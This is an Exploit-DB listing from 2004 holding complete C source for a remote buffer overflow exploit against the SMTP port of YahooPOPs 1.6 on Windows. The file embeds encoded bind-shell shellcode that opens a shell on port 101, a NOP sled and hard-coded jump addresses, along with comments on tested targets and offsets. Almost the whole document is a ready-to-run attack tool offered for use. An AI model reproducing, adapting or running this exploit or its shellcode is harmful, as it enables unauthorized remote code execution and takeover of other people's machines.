Exploit-DB #577
Description: YahooPOPs 1.6 - SMTP Port Buffer Overflow
Type: remote
Platform: windows
Date: 2004-10-15
Author: class101

Exploit:
/*

YahooPOPS v1.6 and prior SMTP port buffer overflow exploit v0.1
Exploit code by class101 [at] DFind.kd-team.com 
Bind a shellcode to the port 101.

Thanx to Behrang Fouladi(behrang@hat-squad.com) for the bug discovery
Thanx to HDMoore and Metasploit.com for their kickass ASM work

Instead of to move like you Behrang EBX to ESP after overwritting EIP, 
I found out that only jumping to EBX is needed because our crafted payload 
starts at EBX.

The exploit is tested working on Win2K SP4 and WinXP SP1, and it should works 
also on NT4 and 2003 as the shellcode is designed for.

The jmp esp is from libcurl.dll wich come with yahoopops, just to notice there is no need of an offset update, 
this is already "universal".

This exploit can't overflow the port 110 (POP3), not enough space in the buffer to add a bind/reverse shell
maybe enough to spawn only one as the well know KaHT.
If you want to try on POP3, you should request more than 180 bytes to overwrite EAX and ECX
Maybe in a v0.2, I will add it , anyway check http://DFind.kd-team.com regulary.

*/

#include "winsock2.h"
#include "fstream.h"

#pragma comment(lib, "ws2_32")

char scode[] =  //BIND shellcode port 101, thanx HDMoore. 
"\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";

static char payload[1024];

char jmp[]="\x23\x9b\x02\x10"; //JMP ESP
char jmpebx[]="\xff\xe3";  //JMP EBX

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
{
	ver();
	if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
	char recvbuf[100];
	int ip=htonl(inet_addr(argv[1])), port, size, x;
	if (argc==3){port=atoi(argv[2]);}
	else port=25;
	SOCKET s;
	struct fd_set mask;
	struct timeval timeout; 
	struct sockaddr_in server;
	s=socket(AF_INET,SOCK_STREAM,0);
	if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
	server.sin_family=AF_INET;
	server.sin_addr.s_addr=htonl(ip);
	server.sin_port=htons(port);
	WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
	timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
	switch(select(s+1,NULL,&mask,NULL,&timeout))
	{
		case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
		case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
		default:
		if(FD_ISSET(s,&mask))
		{
			cout<<"[+] connected, checking the server..."<<endl;
			Sleep(1000);recv(s,recvbuf,200,0);
			if (strstr(recvbuf,"OK POP3 YahooPOPs")){cout<<"[+] this is not the POP3 port but the SMTP port that you should use."<<endl;return -1;}
			if (!strstr(recvbuf,"220 YahooPOPs")){cout<<"[+] this is not a YahooPOPS server, quitting..."<<endl;return -1;}
			cout<<"[+] YahooPOPS SMTP detected, constructing the payload"<<endl;
			size=508-sizeof(scode);
			memset(payload,0,sizeof(payload));
			for (x=0;x<size;x++){strcat(payload,"\x90");}
			strcat(payload,scode);strcat(payload,jmp);strcat(payload,jmpebx);
		    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
			cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
			return 0;
		}
	}
	closesocket(s);
	WSACleanup();
	return 0;
}


void usage(char* us) 
{  
	cout<<"USAGE: 101_ypops.exe ip port\n"<<endl;
	cout<<"NOTE: The port should be the SMTP, not POP3!"<<endl;
	cout<<"      The port 25 is default if no port specified."<<endl;
	cout<<"      The exploit bind a shellcode to the port 101."<<endl;
	return;
} 

void ver()
{	
cout<<endl;
cout<<"                                                                   "<<endl;
cout<<"        ===================================================[v0.1]==="<<endl;
cout<<"        ===YahooPOPS <= v1.6, SMTP Remote Buffer Overflow Exploit==="<<endl;
cout<<"        =====coded by class101===========[DFind.kd-team.com 2004]==="<<endl;
cout<<"        ============================================================"<<endl;
cout<<"                                                                   "<<endl;
}

// milw0rm.com [2004-10-15]